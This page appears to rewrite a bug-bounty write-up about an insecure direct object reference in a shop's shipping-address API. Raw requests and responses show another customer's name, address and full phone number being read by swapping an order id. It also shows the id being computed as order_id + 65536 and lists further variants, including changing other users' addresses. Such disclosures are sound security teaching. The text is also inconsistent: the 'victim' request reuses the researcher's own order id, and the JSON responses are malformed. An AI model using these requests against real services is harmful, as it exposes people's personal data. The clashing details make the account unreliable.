(IDOR) How do I find the first vulnerability with a $2500 bounty on hackerone.
An endpoint that retrieves shipping address details accepted an order identifier and returned the address and phone number for any order, without checking that the order belonged to the requesting user. An attacker could change the identifier to another user's order and read their personal contact details.
Published on medium.com
Hello everyone, my name is Muhamad Iman Follow my Linkedin. I was new to ethical hacking about five months ago.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is the story of a first bounty, found about five months after the researcher started learning ethical hacking. The target is described only as one of the big companies, and the host is redacted throughout, so the write-up does not name the product or the company. The feature involved is the change shipping address flow of a shop: when a customer places an order for a product and later wants to change the shipping address, the application sends a request to the server to fetch the address data associated with that order.
The vulnerability class is insecure direct object reference (IDOR). The object in question is an order, identified by a numeric change_addr_order_id that the client sends in the request body. The server returns the shipping address details and mobile number belonging to whichever order id it is given, without checking that the order belongs to the caller.
Setup
The write-up does not describe any tooling, proxy configuration or versions. The only precondition visible in the requests is an authenticated session: each request carries a Cookie header, shown as ###### in the report. The researcher placed an order through the shop and observed the request the change shipping address feature sent.
Finding it
While using the change shipping address feature on their own order, the researcher inspected the request the application sent to the server and noticed that the order was referenced by a numeric identifier, change_addr_order_id, supplied by the client. The response contained the address details and mobile number for that identifier. The identifier is a plain number chosen by the client, and the server returned the data for whichever id it was given.
Exploitation
Step 1: observe the legitimate request
Placing an order and starting a change of shipping address produced the following request.
POST /api/v1/shop/shipping_address/get? HTTP/2Host: redacted.comCookie: ######Content-Type: application/jsonContent-Length: 111{"change_addr_order_type":1,"change_addr_order_id":"577609598132390705","api_version":2,"from_incentive":false}
The body is JSON and carries change_addr_order_type, set to 1, and change_addr_order_id, the order identifier as a string, alongside api_version and from_incentive. The session cookie identifies the caller. The server answered with the address data for that order.
HTTP/2 200 OKServer: nginxDate: Fri, 21 Jul 2023 02:01:03 GMTContent-Type: application/json; charset=utf-8Vary: Accept-EncodingTt_stable: 1X-Tt-Oec-Real-Idc: malivaAccess-Control-Expose-Headers: tt-idc-switchServer-Timing: inner; dur=33, inner; dur=29"code":0,"message":"success","data":{"shipping_address_list":[{"key":"name","value":"Petrik Attacker""key":"phone","value":"(+62)08********56""key":"address","value":"Wisata Cirata Jangari, Bobojong""key":"plain_phone","value":"(+62)081234432156""name":"Indonesia","geoname_id":"1643084","code":"ID""name":"Jawa Barat","geoname_id":"1642672""name":"Cianjur","geoname_id":"1647142""name":"Mande","geoname_id":"6581586""name":"Bobojong","geoname_id":"8057385"
The response returns code: 0 and message: success, with a shipping_address_list containing the recipient name, a masked phone, the address, a plain_phone field with the full number, and a region breakdown with geoname ids. The plain_phone field is the interesting one: the masked phone is accompanied by the unmasked number.
Step 2: swap the identifier
The researcher replaced the change_addr_order_id with the victim's order id, 577609598132390705, and sent the request again.
POST /api/v1/shop/shipping_address/get? HTTP/2Host: redacted.comCookie: ######Content-Type: application/jsonContent-Length: 111{"change_addr_order_type":1,"change_addr_order_id":"577609598132390705","api_version":2,"from_incentive":false}
The server returned the victim's data.
HTTP/2 200 OKServer: nginxDate: Fri, 21 Jul 2023 02:01:03 GMTContent-Type: application/json; charset=utf-8Vary: Accept-EncodingTt_stable: 1X-Tt-Oec-Real-Idc: malivaAccess-Control-Expose-Headers: tt-idc-switchServer-Timing: inner; dur=33, inner; dur=29"code":0,"message":"success","data":{"shipping_address_list":[{"key":"name","value":"Tans victim""key":"phone","value":"(+62)08********83""key":"address","value":"Kecamatan Pondok Aren""key":"address_detail","value":"jl. pondok aren no 54""key":"plain_phone","value":"(+62)087734233283"region":{"name":"Indonesia","geoname_id":"1643084","code":"ID""name":"Banten","geoname_id":"1923045""name":"Tangerang Selatan","geoname_id":"8581443""name":"Pondok Aren","geoname_id":"89831684""name":"Pondok Kacang Barat","geoname_id":"89831686"
This is the IDOR: the response contains the victim's name, address, address_detail, and plain_phone with the full mobile number, all keyed only on the id supplied by the client. The server returned the victim's data for the id supplied by the client.
Step 3: work out how the identifier is formed
At this point the finding was already reportable, but the researcher wanted to understand how change_addr_order_id is generated and obtained, since a predictable identifier makes enumeration practical. After about three days of thinking, the researcher compared the order_id and change_addr_order_id values and noticed that the two numbers share several digits at the beginning.

The image shows the two identifiers side by side, illustrating the common leading digits. The change_addr_order_id is larger than the order_id. Subtracting one from the other gave a constant:
577609598132390705 - 577609598132325169 = 65536
Repeating the subtraction on several other orders produced the same result, 65536. The researcher concluded that the identifier is derived as:
order_id + 65536 = change_addr_order_id
The researcher concluded that change_addr_order_id is made from order_id + 65536.
Step 4: report
With the IDOR confirmed and the identifier derivation understood, the researcher reported the finding and received a bounty of $2500.
Root cause
The endpoint /api/v1/shop/shipping_address/get takes the order identifier from the request body and uses it to look up the shipping address, returning the result without checking that the order belongs to the authenticated user making the request. The identifier is client-supplied and derived from order_id by adding a fixed constant. The session cookie is present and the server clearly knows who the caller is, but ownership of the object is never enforced. Likely the handler treats the id as a trusted reference and relies on the client to send only its own orders.
Impact
An authenticated attacker can retrieve the shipping address, recipient name, address detail and full mobile number of any other customer's order, provided they can supply or compute that order's change_addr_order_id. Because the identifier is order_id + 65536, an attacker who knows an order id can compute the matching identifier. The report demonstrates the disclosure on one victim order; it does not quantify how many orders were affected or whether the same endpoint allowed modification of the address rather than only reading it.
Fix
The fix the endpoint needs is an authorisation check on the server: after loading the order identified by change_addr_order_id, verify that the order belongs to the authenticated session before returning any of its data, and reject the request otherwise. The report shows the identifier is derived from order_id by a fixed offset.
Variants to test
- Other endpoints that take an order id in the body or query string, such as order detail, invoice, tracking or cancellation. A positive result is a
200response containing another user's data when the id is swapped. - The same endpoint with the identifier computed as
order_id + 65536from an order id obtained elsewhere, for example from a confirmation page or email. A positive result confirms the derivation holds and that enumeration is practical. - Changing
change_addr_order_typeto other values while keeping the same id. A positive result is a different object type being returned without an ownership check. - Write operations on the same object, such as submitting a new address for another user's order. A positive result is a success response and a changed address on the victim's order.
- Sequential identifiers elsewhere in the shop, such as addresses, payments or user profiles. A positive result is any object returned for an id that does not belong to the caller.
What happened, in plain words
A person who had started learning ethical hacking about five months earlier found their first paid bug. The target is described only as one of the big companies, and the website address is hidden throughout, so we do not know which company or which shop it was. The bug was in a shop's "change shipping address" feature: the part of a shopping site where you place an order and later decide the parcel should go to a different address.
The bug class is called insecure direct object reference, or IDOR. The idea is simple. Imagine a cloakroom where you hand in your coat and get a ticket with a number on it. If the attendant hands back whatever coat matches the number you say, without checking that the ticket is yours, you can say a different number and walk away with someone else's coat. In a web application, the "number" is an identifier sent in a request, and the "coat" is a record in the database. If the server looks up the record by that identifier and returns it without checking that the record belongs to the person asking, that is an IDOR.
Here the record was an order, identified by a number called change_addr_order_id. The server returned the shipping address and mobile number for whichever order number it was given. The researcher saw address data come back, then changed the number to another customer's order number and got that customer's name, address and full phone number back. The server returned the victim's data for the number supplied in the request.
After confirming the bug, the researcher spent about three days working out how the order number was built. Comparing two numbers showed that the address-related number is simply the ordinary order number plus a fixed amount, 65536. The researcher concluded that the address number is the ordinary order number plus 65536. The finding was reported and paid $2500.
Background you need first
A few ideas come up again and again below, so here they are from zero.
Website and server. Your browser is the client. The server is the computer somewhere else that stores the shop's data and answers your browser's questions. When you click something, your browser sends a message to the server and the server sends a message back.
Request and response. A request is the message your browser sends ("give me the address for order X"). A response is the message the server sends back (the address, or an error). Both have a first line, some headers, and often a body.
HTTP and HTTP/2. HTTP is the language browsers and servers use to exchange those messages. HTTP/2 is a newer version of the same language. You will see HTTP/2 in the first line of the examples; it just tells you which version was used.
API and endpoint. An API (application programming interface) is the set of doors a program offers for other programs to talk to it. Each door is called an endpoint, and it is usually identified by a path such as /api/v1/shop/shipping_address/get. The shop's own web page does not contain your address itself; the page asks the server through such an endpoint, and the server answers with data. That is why the requests below look like short messages rather than web pages.
JSON. JSON is a way of writing data as text so that programs can read it easily. It uses curly braces {} for an object (a collection of named values), square brackets [] for a list, and pairs of a name in quotes, a colon, and a value. For example {"change_addr_order_type":1} means "the field called change_addr_order_type has the value 1".
Headers. Headers are the labelled lines at the top of a request or response, before the body. Host says which site is being asked. Content-Type says what format the body is in. Content-Length says how many bytes long the body is. Cookie carries small pieces of data the site stored in your browser earlier.
Cookie and session. When you log in, the server gives your browser a cookie: a short string of characters that your browser sends back with every later request to that site. The server uses it to recognise you, like a wristband at an event. In the examples the cookie value is shown as ######, because it is a secret: anyone who has it can act as you. That is also why it is hidden here.
Identifier and IDOR. An identifier (id) is a number or string that names one particular record, such as one order. An IDOR happens when the server accepts an identifier from the client and returns the matching record without checking that the client is allowed to see it. The fix is an authorisation check: after loading the record, the server must confirm it belongs to the logged-in user before sending anything back.
Enumeration. If identifiers are simple consecutive numbers (1, 2, 3, ...), someone can try them one after another and collect many records. That is called enumeration. A predictable identifier makes an IDOR much more serious, because the attacker does not need to steal a number from anywhere; they can calculate it.
Bounty. A bug bounty is a reward a company pays to someone who reports a security problem responsibly, instead of exploiting it or selling it.
Setting up
The write-up does not mention any tools, proxy software or versions. The only thing visible in the requests is that the researcher was logged in: every request carries a Cookie header, shown as ######. The researcher placed an order through the shop and observed the request the change shipping address feature sent. The victim order number is used as the swapped identifier; the report does not say how it was obtained.
Finding it
While using the change shipping address feature on their own order, the researcher looked at the request the application sent to the server. They noticed that the order was named by a number, change_addr_order_id, and that this number was supplied by the client, meaning the browser sends it and the server simply reads it. The response contained the address details and mobile number for that number.
The number is chosen by the client, and the server returned the data for whichever number it was given.
Exploitation
Step 1: watch the normal request
Placing an order and starting a change of shipping address produced this request.
POST /api/v1/shop/shipping_address/get? HTTP/2Host: redacted.comCookie: ######Content-Type: application/jsonContent-Length: 111{"change_addr_order_type":1,"change_addr_order_id":"577609598132390705","api_version":2,"from_incentive":false}
Line by line:
POST /api/v1/shop/shipping_address/get? HTTP/2is the first line.POSTis the method, meaning "I am sending data and asking you to do something with it". The path/api/v1/shop/shipping_address/getis the endpoint, the door being knocked on. The?at the end is where extra parameters would normally go; here nothing follows it.HTTP/2is the protocol version.Host: redacted.comsays which site is being asked. The real name is hidden.Cookie: ######is the session cookie that identifies the logged-in user. It is hidden because it is a secret.Content-Type: application/jsonsays the body is JSON.Content-Length: 111says the body is 111 bytes long.- The body is the JSON object.
change_addr_order_typeis set to1, which presumably selects a kind of address change.change_addr_order_idis the order identifier, written as a string in quotes:"577609598132390705".
The server answered with the address data for that order.
HTTP/2 200 OKServer: nginxDate: Fri, 21 Jul 2023 02:01:03 GMTContent-Type: application/json; charset=utf-8Vary: Accept-EncodingTt_stable: 1X-Tt-Oec-Real-Idc: malivaAccess-Control-Expose-Headers: tt-idc-switchServer-Timing: inner; dur=33, inner; dur=29"code":0,"message":"success","data":{"shipping_address_list":[{"key":"name","value":"Petrik Attacker""key":"phone","value":"(+62)08********56""key":"address","value":"Wisata Cirata Jangari, Bobojong""key":"plain_phone","value":"(+62)081234432156""name":"Indonesia","geoname_id":"1643084","code":"ID""name":"Jawa Barat","geoname_id":"1642672""name":"Cianjur","geoname_id":"1647142""name":"Mande","geoname_id":"6581586""name":"Bobojong","geoname_id":"8057385"
Line by line:
HTTP/2 200 OKis the status line.200means success, andOKis the usual word for it.Server: nginxsays the web server software is nginx.Dateis when the response was produced.Content-Type: application/json; charset=utf-8says the body is JSON encoded in UTF-8, a common text encoding.Vary: Accept-Encodingtells caches that the response depends on the compression the client accepts.Server-Timingreports how long the server spent working, in milliseconds.- The body starts with
"code":0,"message":"success", meaning the call worked. "data":{"shipping_address_list":[...]}holds a list of address fields. Each entry has akeyand avalue: the recipient'sname(Petrik Attacker), aphonewith most digits replaced by asterisks, theaddress, and aplain_phonewith the full number(+62)081234432156.- The remaining entries describe the region: country Indonesia with a
geoname_id, then Jawa Barat, Cianjur, Mande and Bobojong, each with its owngeoname_id. A geoname id is a number from a public place-name database.
The important part is plain_phone: the masked phone is accompanied by the unmasked number. Masking is pointless if the full value is sent in the same response.
Step 2: swap the number
The researcher replaced change_addr_order_id with the victim's order number, 577609598132390705, and sent the request again.
POST /api/v1/shop/shipping_address/get? HTTP/2Host: redacted.comCookie: ######Content-Type: application/jsonContent-Length: 111{"change_addr_order_type":1,"change_addr_order_id":"577609598132390705","api_version":2,"from_incentive":false}
This is the same request as before, with one value changed: the order number in the body. The order number in the body was changed, and the server returned the victim's data.
HTTP/2 200 OKServer: nginxDate: Fri, 21 Jul 2023 02:01:03 GMTContent-Type: application/json; charset=utf-8Vary: Accept-EncodingTt_stable: 1X-Tt-Oec-Real-Idc: malivaAccess-Control-Expose-Headers: tt-idc-switchServer-Timing: inner; dur=33, inner; dur=29"code":0,"message":"success","data":{"shipping_address_list":[{"key":"name","value":"Tans victim""key":"phone","value":"(+62)08********83""key":"address","value":"Kecamatan Pondok Aren""key":"address_detail","value":"jl. pondok aren no 54""key":"plain_phone","value":"(+62)087734233283"region":{"name":"Indonesia","geoname_id":"1643084","code":"ID""name":"Banten","geoname_id":"1923045""name":"Tangerang Selatan","geoname_id":"8581443""name":"Pondok Aren","geoname_id":"89831684""name":"Pondok Kacang Barat","geoname_id":"89831686"
Line by line:
- The status line and headers are the same as before:
200 OK, nginx, JSON, the same extra headers. "code":0,"message":"success"again says the call worked.- The
shipping_address_listnow contains a different person:nameisTans victim,phoneis masked,addressisKecamatan Pondok Aren, and there is an extraaddress_detailfield withjl. pondok aren no 54. plain_phonegives the full number(+62)087734233283.- The
regionobject describes Indonesia, Banten, Tangerang Selatan, Pondok Aren and Pondok Kacang Barat, each with a geoname id.
This is the IDOR. The response contains the victim's name, address, address detail and full mobile number, all selected only by the number the client sent.
Step 3: work out how the number is built
At this point the finding was already reportable. But the researcher wanted to understand how change_addr_order_id is generated, because a predictable number makes enumeration practical: you can calculate the next one instead of having to find it somewhere.
After about three days of thinking, the researcher compared the order_id and change_addr_order_id values and noticed that the two numbers share several digits at the beginning.

The image shows the two identifiers side by side, illustrating the common leading digits. The change_addr_order_id is larger than the order_id. Subtracting one from the other gave a constant:
577609598132390705 - 577609598132325169 = 65536
In plain words: take the address-related number, subtract the ordinary order number, and the answer is 65536. Repeating the subtraction on several other orders produced the same result, 65536. The researcher concluded that the identifier is derived as:
order_id + 65536 = change_addr_order_id
The researcher concluded that change_addr_order_id is made from order_id + 65536.
Step 4: report
With the IDOR confirmed and the way the number is built understood, the researcher reported the finding and received a bounty of $2500.
Why it works
The endpoint /api/v1/shop/shipping_address/get takes the order number from the request body and uses it to look up the shipping address. It returns the result without checking that the order belongs to the logged-in user making the request. The number is client-supplied, and the report shows it is derived from order_id by adding a fixed constant. The session cookie is present and the server clearly knows who is calling, but ownership of the record is never enforced. Most likely the code treats the number as trustworthy and assumes the client will only send its own orders.
What an attacker could do
A logged-in attacker can retrieve the shipping address, recipient name, address detail and full mobile number of any other customer's order, as long as they can supply or calculate that order's change_addr_order_id. Because the number is order_id + 65536, an attacker who knows an order number can compute the matching identifier.
How to fix it
The fix the endpoint needs is an authorisation check on the server: after loading the order named by change_addr_order_id, verify that the order belongs to the logged-in session before returning any of its data, and reject the request otherwise. The report shows the number is derived from order_id by a fixed offset.
Other places to look
- Other endpoints that take an order number in the body or in the URL, such as order detail, invoice, tracking or cancellation. A positive result is a
200response containing another user's data when the number is swapped. - The same endpoint with the number calculated as
order_id + 65536from an order number found elsewhere, for example on a confirmation page or in an email. A positive result confirms the derivation holds and that enumeration is practical. - Changing
change_addr_order_typeto other values while keeping the same number. A positive result is a different kind of record being returned without an ownership check. - Actions that write rather than read, such as submitting a new address for another user's order. A positive result is a success response and a changed address on the victim's order.
- Sequential numbers elsewhere in the shop, such as addresses, payments or user profiles. A positive result is any record returned for a number that does not belong to the caller.
Glossary
- API: the set of doors a program offers so other programs can talk to it.
- Authorisation check: a check on the server that the logged-in user is allowed to access the record they asked for.
- Body: the main content of a request or response, after the headers.
- Bounty: a reward a company pays for a responsibly reported security problem.
- Client: the program making the request, usually your browser.
- Content-Length: a header saying how many bytes long the body is.
- Content-Type: a header saying what format the body is in, such as JSON.
- Cookie: a short string a site stores in your browser and your browser sends back with later requests, used to recognise you.
- Endpoint: one specific address (path) on a server that accepts requests.
- Enumeration: trying identifiers one after another to collect many records.
- Geoname id: a number identifying a place in a public place-name database.
- Header: a labelled line at the top of a request or response carrying metadata.
- Host: a header naming which site is being asked.
- HTTP: the language browsers and servers use to exchange requests and responses.
- HTTP/2: a newer version of HTTP.
- IDOR (insecure direct object reference): a bug where the server returns a record named by a client-supplied identifier without checking that the client may see it.
- Identifier (id): a number or string naming one particular record.
- JSON: a text format for data, using braces for objects, brackets for lists, and name/value pairs.
- Method: the word at the start of a request line, such as
POST, saying what kind of action is wanted. - nginx: a common web server program.
- Request: the message a client sends to a server.
- Response: the message a server sends back.
- Server: the remote computer that stores data and answers requests.
- Session: the server's memory of who you are, usually tied to a cookie.
- Status code: the number in the response's first line, such as
200for success. - UTF-8: a common way of encoding text as bytes.